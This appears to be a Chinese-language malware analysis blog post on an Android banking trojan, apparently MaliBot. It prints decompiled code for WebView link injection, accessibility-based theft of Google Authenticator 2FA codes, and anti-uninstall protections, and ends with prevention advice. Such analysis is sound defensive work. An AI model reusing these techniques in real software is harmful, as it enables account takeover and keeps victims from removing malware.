        webView.getSettings().setJavaScriptEnabled(true);
        webView.setLayerType(2null);
        String stringExtra = getIntent().getStringExtra("link");
        final Intent intent = (Intent) getIntent().getParcelableExtra("act");
        webView.setWebViewClient(new WebViewClient() { // from class: com.fdjsfkas.kdjklslf.ui.activities.BrowserActivity$onCreate$1
            @Override // android.webkit.WebViewClient
            public void onPageStarted(WebView webView2, String str, Bitmap bitmap) {
                Settings settings;
                Settings settings2;
                Settings settings3;
                if (str != null) {
                    int i = 0;
                    if (StringsKt.contains$default((CharSequence) str, (CharSequence) "goto.php"false2, (Object) null)) {
                        if (BrowserActivity.Companion.getLastOpenedInject() != null) {
                            settings = BrowserActivity.this.settings;
                            InjectList currentInjectList$default = Settings.currentInjectList$default(settings, null1null);
                            if (currentInjectList$default != null) {
                                try {
                                    int size = currentInjectList$default.size();
                                    if (size > 0) {
                                        while (true) {
                                            int i2 = i + 1;
                                            if (Intrinsics.areEqual(currentInjectList$default.get(i).getPackage1(), BrowserActivity.Companion.getLastOpenedInject())) {
                                                currentInjectList$default.remove((Object) currentInjectList$default.get(i));
                                            }
                                            if (i2 >= size) {
                                                break;
                                            }
                                            i = i2;
                                        }
                                    }
                                    settings2 = BrowserActivity.this.settings;
                                    settings2.currentInjectList(currentInjectList$default);
                                    BrowserActivity.Companion.setLastOpenedInject(null);
                                    BrowserActivity browserActivity = BrowserActivity.this;
                                    BrowserActivity browserActivity2 = browserActivity;
                                    settings3 = browserActivity.settings;
                                    BaseExtensionsKt.syncInjects(browserActivity2, settings3);
                                } catch (Exception unused) {
                                }
                            }
                        }
                        Intent intent2 = new Intent();
                        intent2.putExtra("act", intent);
                        BrowserActivity.this.setResult(-1, intent2);
                        BrowserActivity.this.finish();
                    }
                }
                super.onPageStarted(webView2, str, bitmap);
            }
        });
        if (stringExtra != null) {
            webView.loadUrl(stringExtra);
            AppKt.log$default(this"opened inject (" + ((Object) lastOpenedInject) + ')'null, Colors.INSTANCE.getGreen(), 2null);
        }
    }

就是使用WebView加载了指定的链接来执行注入= =

2FA窃取

public TwoFactor(Engine engine) {
        super(engine);
        Intrinsics.checkNotNullParameter(engine, "engine");
        this.triggers = CollectionsKt.listOf((Object[]) new Trigger[]{new Trigger.ByUIState(new UIState("com.google.android.apps.authenticator2", CollectionsKt.listOf("com.google.android.apps.authenticator.AuthenticatorActivity"))), new Trigger.ByCondition(new TwoFactor$triggers$1(engine))});
    }

设置了触发条件

public boolean executeTaskOn(AccessibilityEvent event) {
        Intrinsics.checkNotNullParameter(event, "event");
        StringBuilder sb = new StringBuilder();
        try {
            LegacyAccessibility.getAllChildNodeText$default(LegacyAccessibility.INSTANCE, event.getSource(), falsenew TwoFactor$executeTaskOn$1(this, sb), 2null);
        } catch (Exception e) {
            AppKt.log$default(this"2FA Err " + ExceptionsKt.stackTraceToString(e) + " plz report this accident"null"red"2null);
        }
        AppKt.log$default(this, Intrinsics.stringPlus("2FA Codes ", sb), null"green"2null);
        this.settings.is2FARequested(false);
        BuildersKt__Builders_commonKt.launch$default(CoroutineScopeKt.CoroutineScope(Dispatchers.getMain()), nullnullnew TwoFactor$executeTaskOn$2(thisnull), 3null);
        return true;
    }

先执行了第一个子类,再执行第二个子类

 public final void invoke2(AccessibilityNodeInfo it, AccessibilityNodeInfo accessibilityNodeInfo) {
        CharSequence text;
        Intrinsics.checkNotNullParameter(it, "it");
        Pattern pattern = this.this$0.getPattern();
        CharSequence text2 = it.getText();
        if (text2 == null) {
        }
        if (pattern.matcher(text2).matches()) {
            this.$codes.append(new StringBuilder().append((Object) ((accessibilityNodeInfo == null || (text = accessibilityNodeInfo.getText()) == null) ? "null" : text)).append(':').append((Object) it.getText()).append(',').toString());
        }
    }

这里有个正则匹配,^[0-9]{3} [0-9]{3}$

卸载保护


包括重置保护,删除保护,软件信息保护,主屏幕应用选择保护和卸载保护

这些保护都是用了一系列触发器,比如要查看AppInfo时

public boolean executeTaskOn(AccessibilityEvent event) {
        Intrinsics.checkNotNullParameter(event, "event");
        AppKt.log$default(this"accessibility reset protection"null, Colors.INSTANCE.getRed(), 2null);
        BuildersKt__Builders_commonKt.launch$default(CoroutineScopeKt.CoroutineScope(Dispatchers.getMain()), nullnullnew InfoProtection$executeTaskOn$1(thisnull), 3null);
        BuildersKt__Builders_commonKt.launch$default(CoroutineScopeKt.CoroutineScope(Dispatchers.getMain()), nullnullnew InfoProtection$executeTaskOn$2(thisnull), 3null);
        return true;
    }

首先点击返回键

public final Object invokeSuspend(Object obj) {
        IntrinsicsKt.getCOROUTINE_SUSPENDED();
        if (this.label == 0) {
            ResultKt.throwOnFailure(obj);
            AccessibilityExtensionsKt.back$default(this.this$0.getEngine().getBus(), 00L3null);
            return Unit.INSTANCE;
        }
        throw new IllegalStateException("call to 'resume' before 'invoke' with coroutine");
    }

然后Toast自己是安全的

public final Object invokeSuspend(Object obj) {
        IntrinsicsKt.getCOROUTINE_SUSPENDED();
        if (this.label == 0) {
            ResultKt.throwOnFailure(obj);
            Toast.makeText(this.this$0.getEngine().getContext(), "This app is secured"0).show();
            return Unit.INSTANCE;
        }
        throw new IllegalStateException("call to 'resume' before 'invoke' with coroutine");
    }

HomeProtection里面还发送了admin info

public final Object invokeSuspend(Object obj) {
        Object coroutine_suspended = IntrinsicsKt.getCOROUTINE_SUSPENDED();
        int i = this.label;
        if (i == 0) {
            ResultKt.throwOnFailure(obj);
            Pair[] pairArr = {TuplesKt.to("admin""1")};
            this.label = 1;
            if (new Send(null"admininfo", MapsKt.mutableMapOf(pairArr), 1null).execute(this) == coroutine_suspended) {
                return coroutine_suspended;
            }
        } else if (i != 1) {
            throw new IllegalStateException("call to 'resume' before 'invoke' with coroutine");
        } else {
            ResultKt.throwOnFailure(obj);
        }
        return Unit.INSTANCE;
    }

总结

该病毒实现了窃取双因子认证、链接注入、短信窃取等功能,但是一些传播功能还未实现,另外恶意行为过于明显,伪装不太够,应该是还在开发中。

防范方法

  1. 不要点击不明链接、下载安装不明APP

  2. 一旦APP有异常行为:例如本文开头的

参考

[1] 黑客骇入iCloud窃取裸照被判九年监禁 - 安全客,安全资讯平台

[2] F5 Labs Investigates MaliBot

[3] Manifest.Permission.ReorderTasks Field (Android) | Microsoft Docs

[4] Calendar | Android Developers

[5] Coroutines basics | Kotlin

end


招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系admin@chamd5.org




关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接